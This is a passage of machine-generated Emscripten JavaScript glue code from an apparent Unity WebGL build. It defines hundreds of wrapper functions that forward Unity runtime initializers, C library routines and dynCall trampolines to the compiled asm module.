__GLOBAL__sub_I_Runtime_Jobs_Internal_1_cpp=Module[\"__GLOBAL__sub_I_Runtime_Jobs_Internal_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Jobs_Internal_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Jobs_ScriptBindings_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Jobs_ScriptBindings_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Jobs_ScriptBindings_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Math_2_cpp=Module[\"__GLOBAL__sub_I_Runtime_Math_2_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Math_2_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Math_Random_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Math_Random_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Math_Random_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Misc_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Misc_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Misc_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Misc_2_cpp=Module[\"__GLOBAL__sub_I_Runtime_Misc_2_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Misc_2_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Misc_4_cpp=Module[\"__GLOBAL__sub_I_Runtime_Misc_4_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Misc_4_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Misc_5_cpp=Module[\"__GLOBAL__sub_I_Runtime_Misc_5_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Misc_5_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Modules_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Modules_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Modules_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Mono_2_cpp=Module[\"__GLOBAL__sub_I_Runtime_Mono_2_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Mono_2_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Mono_SerializationBackend_DirectMemoryAccess_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Mono_SerializationBackend_DirectMemoryAccess_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Mono_SerializationBackend_DirectMemoryAccess_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Mono_SerializationBackend_DirectMemoryAccess_1_cpp=Module[\"__GLOBAL__sub_I_Runtime_Mono_SerializationBackend_DirectMemoryAccess_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Mono_SerializationBackend_DirectMemoryAccess_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_PluginInterface_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_PluginInterface_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_PluginInterface_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_PreloadManager_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_PreloadManager_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_PreloadManager_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Profiler_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Profiler_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Profiler_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Profiler_2_cpp=Module[\"__GLOBAL__sub_I_Runtime_Profiler_2_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Profiler_2_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Profiler_ExternalGPUProfiler_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Profiler_ExternalGPUProfiler_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Profiler_ExternalGPUProfiler_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Profiler_ScriptBindings_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Profiler_ScriptBindings_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Profiler_ScriptBindings_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_SceneManager_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_SceneManager_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_SceneManager_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_ScriptingBackend_Il2Cpp_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_ScriptingBackend_Il2Cpp_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_ScriptingBackend_Il2Cpp_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Scripting_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Scripting_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Scripting_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Scripting_2_cpp=Module[\"__GLOBAL__sub_I_Runtime_Scripting_2_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Scripting_2_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Scripting_3_cpp=Module[\"__GLOBAL__sub_I_Runtime_Scripting_3_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Scripting_3_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Scripting_APIUpdating_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Scripting_APIUpdating_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Scripting_APIUpdating_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Serialize_1_cpp=Module[\"__GLOBAL__sub_I_Runtime_Serialize_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Serialize_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Serialize_2_cpp=Module[\"__GLOBAL__sub_I_Runtime_Serialize_2_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Serialize_2_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Serialize_TransferFunctions_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Serialize_TransferFunctions_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Serialize_TransferFunctions_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Serialize_TransferFunctions_1_cpp=Module[\"__GLOBAL__sub_I_Runtime_Serialize_TransferFunctions_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Serialize_TransferFunctions_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Shaders_1_cpp=Module[\"__GLOBAL__sub_I_Runtime_Shaders_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Shaders_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Shaders_3_cpp=Module[\"__GLOBAL__sub_I_Runtime_Shaders_3_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Shaders_3_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Shaders_GpuPrograms_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Shaders_GpuPrograms_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Shaders_GpuPrograms_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Shaders_ShaderImpl_2_cpp=Module[\"__GLOBAL__sub_I_Runtime_Shaders_ShaderImpl_2_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Shaders_ShaderImpl_2_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Transform_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Transform_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Transform_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Transform_1_cpp=Module[\"__GLOBAL__sub_I_Runtime_Transform_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Transform_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Utilities_2_cpp=Module[\"__GLOBAL__sub_I_Runtime_Utilities_2_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Utilities_2_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Utilities_5_cpp=Module[\"__GLOBAL__sub_I_Runtime_Utilities_5_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Utilities_5_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Utilities_6_cpp=Module[\"__GLOBAL__sub_I_Runtime_Utilities_6_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Utilities_6_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Utilities_7_cpp=Module[\"__GLOBAL__sub_I_Runtime_Utilities_7_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Utilities_7_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Utilities_9_cpp=Module[\"__GLOBAL__sub_I_Runtime_Utilities_9_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Utilities_9_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Video_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_Video_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_Video_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_VirtualFileSystem_0_cpp=Module[\"__GLOBAL__sub_I_Runtime_VirtualFileSystem_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Runtime_VirtualFileSystem_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Shader_cpp=Module[\"__GLOBAL__sub_I_Shader_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Shader_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Shadows_cpp=Module[\"__GLOBAL__sub_I_Shadows_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Shadows_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_ShapeModule_cpp=Module[\"__GLOBAL__sub_I_ShapeModule_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_ShapeModule_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_SubsystemsScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_SubsystemsScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_SubsystemsScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_SwInterCollision_cpp=Module[\"__GLOBAL__sub_I_SwInterCollision_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_SwInterCollision_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_SwSolverKernel_cpp=Module[\"__GLOBAL__sub_I_SwSolverKernel_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_SwSolverKernel_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_TemplateInstantiations_cpp=Module[\"__GLOBAL__sub_I_TemplateInstantiations_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_TemplateInstantiations_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_TerrainScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_TerrainScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_TerrainScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_TextCoreScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_TextCoreScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_TextCoreScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_TextRenderingScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_TextRenderingScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_TextRenderingScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_TilemapScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_TilemapScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_TilemapScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_UIElementsNativeScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_UIElementsNativeScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_UIElementsNativeScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_UIScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_UIScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_UIScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_UVModule_cpp=Module[\"__GLOBAL__sub_I_UVModule_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_UVModule_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_UnityAdsSettings_cpp=Module[\"__GLOBAL__sub_I_UnityAdsSettings_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_UnityAdsSettings_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_UnityAnalyticsScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_UnityAnalyticsScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_UnityAnalyticsScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_UnityWebRequestScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_UnityWebRequestScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_UnityWebRequestScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_VFXScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_VFXScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_VFXScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_VRScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_VRScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_VRScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_VideoScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_VideoScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_VideoScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_VisualEffectAsset_cpp=Module[\"__GLOBAL__sub_I_VisualEffectAsset_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_VisualEffectAsset_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_Wind_cpp=Module[\"__GLOBAL__sub_I_Wind_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_Wind_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_XRAudio_cpp=Module[\"__GLOBAL__sub_I_XRAudio_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_XRAudio_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_XRPreInit_cpp=Module[\"__GLOBAL__sub_I_XRPreInit_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_XRPreInit_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_XRScriptingClasses_cpp=Module[\"__GLOBAL__sub_I_XRScriptingClasses_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_XRScriptingClasses_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_XRWindowsLocatableCamera_cpp=Module[\"__GLOBAL__sub_I_XRWindowsLocatableCamera_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_XRWindowsLocatableCamera_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_artifacts_WebGL_codegenerator_0_cpp=Module[\"__GLOBAL__sub_I_artifacts_WebGL_codegenerator_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_artifacts_WebGL_codegenerator_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_nvcloth_src_0_cpp=Module[\"__GLOBAL__sub_I_nvcloth_src_0_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_nvcloth_src_0_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_nvcloth_src_1_cpp=Module[\"__GLOBAL__sub_I_nvcloth_src_1_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_nvcloth_src_1_cpp\"].apply(null,arguments)});var __GLOBAL__sub_I_umbra_cpp=Module[\"__GLOBAL__sub_I_umbra_cpp\"]=(function(){return Module[\"asm\"][\"__GLOBAL__sub_I_umbra_cpp\"].apply(null,arguments)});var ___cxa_can_catch=Module[\"___cxa_can_catch\"]=(function(){return Module[\"asm\"][\"___cxa_can_catch\"].apply(null,arguments)});var ___cxa_is_pointer_type=Module[\"___cxa_is_pointer_type\"]=(function(){return Module[\"asm\"][\"___cxa_is_pointer_type\"].apply(null,arguments)});var ___cxx_global_var_init=Module[\"___cxx_global_var_init\"]=(function(){return Module[\"asm\"][\"___cxx_global_var_init\"].apply(null,arguments)});var ___cxx_global_var_init_104=Module[\"___cxx_global_var_init_104\"]=(function(){return Module[\"asm\"][\"___cxx_global_var_init_104\"].apply(null,arguments)});var ___cxx_global_var_init_131=Module[\"___cxx_global_var_init_131\"]=(function(){return Module[\"asm\"][\"___cxx_global_var_init_131\"].apply(null,arguments)});var ___cxx_global_var_init_18=Module[\"___cxx_global_var_init_18\"]=(function(){return Module[\"asm\"][\"___cxx_global_var_init_18\"].apply(null,arguments)});var ___cxx_global_var_init_18_1170=Module[\"___cxx_global_var_init_18_1170\"]=(function(){return Module[\"asm\"][\"___cxx_global_var_init_18_1170\"].apply(null,arguments)});var ___cxx_global_var_init_19=Module[\"___cxx_global_var_init_19\"]=(function(){return Module[\"asm\"][\"___cxx_global_var_init_19\"].apply(null,arguments)});var ___cxx_global_var_init_20=Module[\"___cxx_global_var_init_20\"]=(function(){return Module[\"asm\"][\"___cxx_global_var_init_20\"].apply(null,arguments)});var ___cxx_global_var_init_23=Module[\"___cxx_global_var_init_23\"]=(function(){return Module[\"asm\"][\"___cxx_global_var_init_23\"].apply(null,arguments)});var ___cxx_global_var_init_4009=Module[\"___cxx_global_var_init_4009\"]=(function(){return Module[\"asm\"][\"___cxx_global_var_init_4009\"].apply(null,arguments)});var ___cxx_global_var_init_7752=Module[\"___cxx_global_var_init_7752\"]=(function(){return Module[\"asm\"][\"___cxx_global_var_init_7752\"].apply(null,arguments)});var ___cxx_global_var_init_89=Module[\"___cxx_global_var_init_89\"]=(function(){return Module[\"asm\"][\"___cxx_global_var_init_89\"].apply(null,arguments)});var ___cxx_global_var_init_8909=Module[\"___cxx_global_var_init_8909\"]=(function(){return Module[\"asm\"][\"___cxx_global_var_init_8909\"].apply(null,arguments)});var ___cxx_global_var_init_9=Module[\"___cxx_global_var_init_9\"]=(function(){return Module[\"asm\"][\"___cxx_global_var_init_9\"].apply(null,arguments)});var ___cxx_global_var_init_9305=Module[\"___cxx_global_var_init_9305\"]=(function(){return Module[\"asm\"][\"___cxx_global_var_init_9305\"].apply(null,arguments)});var ___emscripten_environ_constructor=Module[\"___emscripten_environ_constructor\"]=(function(){return Module[\"asm\"][\"___emscripten_environ_constructor\"].apply(null,arguments)});var ___errno_location=Module[\"___errno_location\"]=(function(){return Module[\"asm\"][\"___errno_location\"].apply(null,arguments)});var __get_daylight=Module[\"__get_daylight\"]=(function(){return Module[\"asm\"][\"__get_daylight\"].apply(null,arguments)});var __get_environ=Module[\"__get_environ\"]=(function(){return Module[\"asm\"][\"__get_environ\"].apply(null,arguments)});var __get_timezone=Module[\"__get_timezone\"]=(function(){return Module[\"asm\"][\"__get_timezone\"].apply(null,arguments)});var __get_tzname=Module[\"__get_tzname\"]=(function(){return Module[\"asm\"][\"__get_tzname\"].apply(null,arguments)});var _emscripten_replace_memory=Module[\"_emscripten_replace_memory\"]=(function(){return Module[\"asm\"][\"_emscripten_replace_memory\"].apply(null,arguments)});var _free=Module[\"_free\"]=(function(){return Module[\"asm\"][\"_free\"].apply(null,arguments)});var _htonl=Module[\"_htonl\"]=(function(){return Module[\"asm\"][\"_htonl\"].apply(null,arguments)});var _htons=Module[\"_htons\"]=(function(){return Module[\"asm\"][\"_htons\"].apply(null,arguments)});var _i64Add=Module[\"_i64Add\"]=(function(){return Module[\"asm\"][\"_i64Add\"].apply(null,arguments)});var _llvm_bswap_i16=Module[\"_llvm_bswap_i16\"]=(function(){return Module[\"asm\"][\"_llvm_bswap_i16\"].apply(null,arguments)});var _llvm_bswap_i32=Module[\"_llvm_bswap_i32\"]=(function(){return Module[\"asm\"][\"_llvm_bswap_i32\"].apply(null,arguments)});var _llvm_ctlz_i64=Module[\"_llvm_ctlz_i64\"]=(function(){return Module[\"asm\"][\"_llvm_ctlz_i64\"].apply(null,arguments)});var _llvm_ctpop_i32=Module[\"_llvm_ctpop_i32\"]=(function(){return Module[\"asm\"][\"_llvm_ctpop_i32\"].apply(null,arguments)});var _llvm_maxnum_f32=Module[\"_llvm_maxnum_f32\"]=(function(){return Module[\"asm\"][\"_llvm_maxnum_f32\"].apply(null,arguments)});var _llvm_maxnum_f64=Module[\"_llvm_maxnum_f64\"]=(function(){return Module[\"asm\"][\"_llvm_maxnum_f64\"].apply(null,arguments)});var _llvm_minnum_f32=Module[\"_llvm_minnum_f32\"]=(function(){return Module[\"asm\"][\"_llvm_minnum_f32\"].apply(null,arguments)});var _llvm_round_f32=Module[\"_llvm_round_f32\"]=(function(){return Module[\"asm\"][\"_llvm_round_f32\"].apply(null,arguments)});var _main=Module[\"_main\"]=(function(){return Module[\"asm\"][\"_main\"].apply(null,arguments)});var _malloc=Module[\"_malloc\"]=(function(){return Module[\"asm\"][\"_malloc\"].apply(null,arguments)});var _memalign=Module[\"_memalign\"]=(function(){return Module[\"asm\"][\"_memalign\"].apply(null,arguments)});var _memcpy=Module[\"_memcpy\"]=(function(){return Module[\"asm\"][\"_memcpy\"].apply(null,arguments)});var _memmove=Module[\"_memmove\"]=(function(){return Module[\"asm\"][\"_memmove\"].apply(null,arguments)});var _memset=Module[\"_memset\"]=(function(){return Module[\"asm\"][\"_memset\"].apply(null,arguments)});var _ntohs=Module[\"_ntohs\"]=(function(){return Module[\"asm\"][\"_ntohs\"].apply(null,arguments)});var _pthread_cond_broadcast=Module[\"_pthread_cond_broadcast\"]=(function(){return Module[\"asm\"][\"_pthread_cond_broadcast\"].apply(null,arguments)});var _pthread_mutex_lock=Module[\"_pthread_mutex_lock\"]=(function(){return Module[\"asm\"][\"_pthread_mutex_lock\"].apply(null,arguments)});var _pthread_mutex_unlock=Module[\"_pthread_mutex_unlock\"]=(function(){return Module[\"asm\"][\"_pthread_mutex_unlock\"].apply(null,arguments)});var _realloc=Module[\"_realloc\"]=(function(){return Module[\"asm\"][\"_realloc\"].apply(null,arguments)});var _saveSetjmp=Module[\"_saveSetjmp\"]=(function(){return Module[\"asm\"][\"_saveSetjmp\"].apply(null,arguments)});var _sbrk=Module[\"_sbrk\"]=(function(){return Module[\"asm\"][\"_sbrk\"].apply(null,arguments)});var _strlen=Module[\"_strlen\"]=(function(){return Module[\"asm\"][\"_strlen\"].apply(null,arguments)});var _testSetjmp=Module[\"_testSetjmp\"]=(function(){return Module[\"asm\"][\"_testSetjmp\"].apply(null,arguments)});var establishStackSpace=Module[\"establishStackSpace\"]=(function(){return Module[\"asm\"][\"establishStackSpace\"].apply(null,arguments)});var getTempRet0=Module[\"getTempRet0\"]=(function(){return Module[\"asm\"][\"getTempRet0\"].apply(null,arguments)});var runPostSets=Module[\"runPostSets\"]=(function(){return Module[\"asm\"][\"runPostSets\"].apply(null,arguments)});var setTempRet0=Module[\"setTempRet0\"]=(function(){return Module[\"asm\"][\"setTempRet0\"].apply(null,arguments)});var setThrew=Module[\"setThrew\"]=(function(){return Module[\"asm\"][\"setThrew\"].apply(null,arguments)});var stackAlloc=Module[\"stackAlloc\"]=(function(){return Module[\"asm\"][\"stackAlloc\"].apply(null,arguments)});var stackRestore=Module[\"stackRestore\"]=(function(){return Module[\"asm\"][\"stackRestore\"].apply(null,arguments)});var stackSave=Module[\"stackSave\"]=(function(){return Module[\"asm\"][\"stackSave\"].apply(null,arguments)});var dynCall_dddi=Module[\"dynCall_dddi\"]=(function(){return Module[\"asm\"][\"dynCall_dddi\"].apply(null,arguments)});var dynCall_ddi=Module[\"dynCall_ddi\"]=(function(){return Module[\"asm\"][\"dynCall_ddi\"].apply(null,arguments)});var dynCall_ddidi=Module[\"dynCall_ddidi\"]=(function(){return Module[\"asm\"][\"dynCall_ddidi\"].apply(null,arguments)});var dynCall_dfi=Module[\"dynCall_dfi\"]=(function(){return Module[\"asm\"][\"dynCall_dfi\"].apply(null,arguments)});var dynCall_di=Module[\"dynCall_di\"]=(function(){return Module[\"asm\"][\"dynCall_di\"].apply(null,arguments)});var dynCall_diddi=Module[\"dynCall_diddi\"]=(function(){return Module[\"asm\"][\"dynCall_diddi\"].apply(null,arguments)});var dynCall_didi=Module[\"dynCall_didi\"]=(function(){return Module[\"asm\"][\"dynCall_didi\"].apply(null,arguments)});var dynCall_dii=Module[\"dynCall_dii\"]=(function(){return Module[\"asm\"][\"dynCall_dii\"].apply(null,arguments)});var dynCall_diii=Module[\"dynCall_diii\"]=(function(){return Module[\"asm\"][\"dynCall_diii\"].apply(null,arguments)});var dynCall_diiii=Module[\"dynCall_diiii\"]=(function(){return Module[\"asm\"][\"dynCall_diiii\"].apply(null,arguments)});var dynCall_dji=Module[\"dynCall_dji\"]=(function(){return Module[\"asm\"][\"dynCall_dji\"].apply(null,arguments)});var dynCall_f=Module[\"dynCall_f\"]=(function(){return Module[\"asm\"][\"dynCall_f\"].apply(null,arguments)});var dynCall_fdi=Module[\"dynCall_fdi\"]=(function(){return Module[\"asm\"][\"dynCall_fdi\"].apply(null,arguments)});var dynCall_ff=Module[\"dynCall_ff\"]=(function(){return Module[\"asm\"][\"dynCall_ff\"].apply(null,arguments)});var dynCall_fff=Module[\"dynCall_fff\"]=(function(){return Module[\"asm\"][\"dynCall_fff\"].apply(null,arguments)});var dynCall_ffffffi=Module[\"dynCall_ffffffi\"]=(function(){return Module[\"asm\"][\"dynCall_ffffffi\"].apply(null,arguments)});var dynCall_ffffi=Module[\"dynCall_ffffi\"]=(function(){return Module[\"asm\"][\"dynCall_ffffi\"].apply(null,arguments)});var dynCall_fffi=Module[\"dynCall_fffi\"]=(function(){return Module[\"asm\"][\"dynCall_fffi\"].apply(null,arguments)});var dynCall_fffifffi=Module[\"dynCall_fffifffi\"]=(function(){return Module[\"asm\"][\"dynCall_fffifffi\"].apply(null,arguments)});var dynCall_ffi=Module[\"dynCall_ffi\"]=(function(){return Module[\"asm\"][\"dynCall_ffi\"].apply(null,arguments)});var dynCall_fi=Module[\"dynCall_fi\"]=(function(){return Module[\"asm\"][\"dynCall_fi\"].apply(null,arguments)});var dynCall_fidi=Module[\"dynCall_fidi\"]=(function(){return Module[\"asm\"][\"dynCall_fidi\"].apply(null,arguments)});var dynCall_fif=Module[\"dynCall_fif\"]=(function(){return Module[\"asm\"][\"dynCall_fif\"].apply(null,arguments)});var dynCall_fiff=Module[\"dynCall_fiff\"]=(function(){return Module[\"asm\"][\"dynCall_fiff\"].apply(null,arguments)});var dynCall_fifffi=Module[\"dynCall_fifffi\"]=(function(){return Module[\"asm\"][\"dynCall_fifffi\"].apply(null,arguments)});var dynCall_fiffi=Module[\"dynCall_fiffi\"]=(function(){return Module[\"asm\"][\"dynCall_fiffi\"].apply(null,arguments)});var dynCall_fifi=Module[\"dynCall_fifi\"]=(function(){return Module[\"asm\"][\"dynCall_fifi\"].apply(null,arguments)});var dynCall_fifii=Module[\"dynCall_fifii\"]=(function(){return Module[\"asm\"][\"dynCall_fifii\"].apply(null,arguments)});var dynCall_fifiii=Module[\"dynCall_fifiii\"]=(function(){return Module[\"asm\"][\"dynCall_fifiii\"].apply(null,arguments)});var dynCall_fifiiiii=Module[\"dynCall_fifiiiii\"]=(function(){return Module[\"asm\"][\"dynCall_fifiiiii\"].apply(null,arguments)});var dynCall_fii=Module[\"dynCall_fii\"]=(function(){return Module[\"asm\"][\"dynCall_fii\"].apply(null,arguments)});var dynCall_fiifi=Module[\"dynCall_fiifi\"]=(function(){return Module[\"asm\"][\"dynCall_fiifi\"].apply(null,arguments)});var 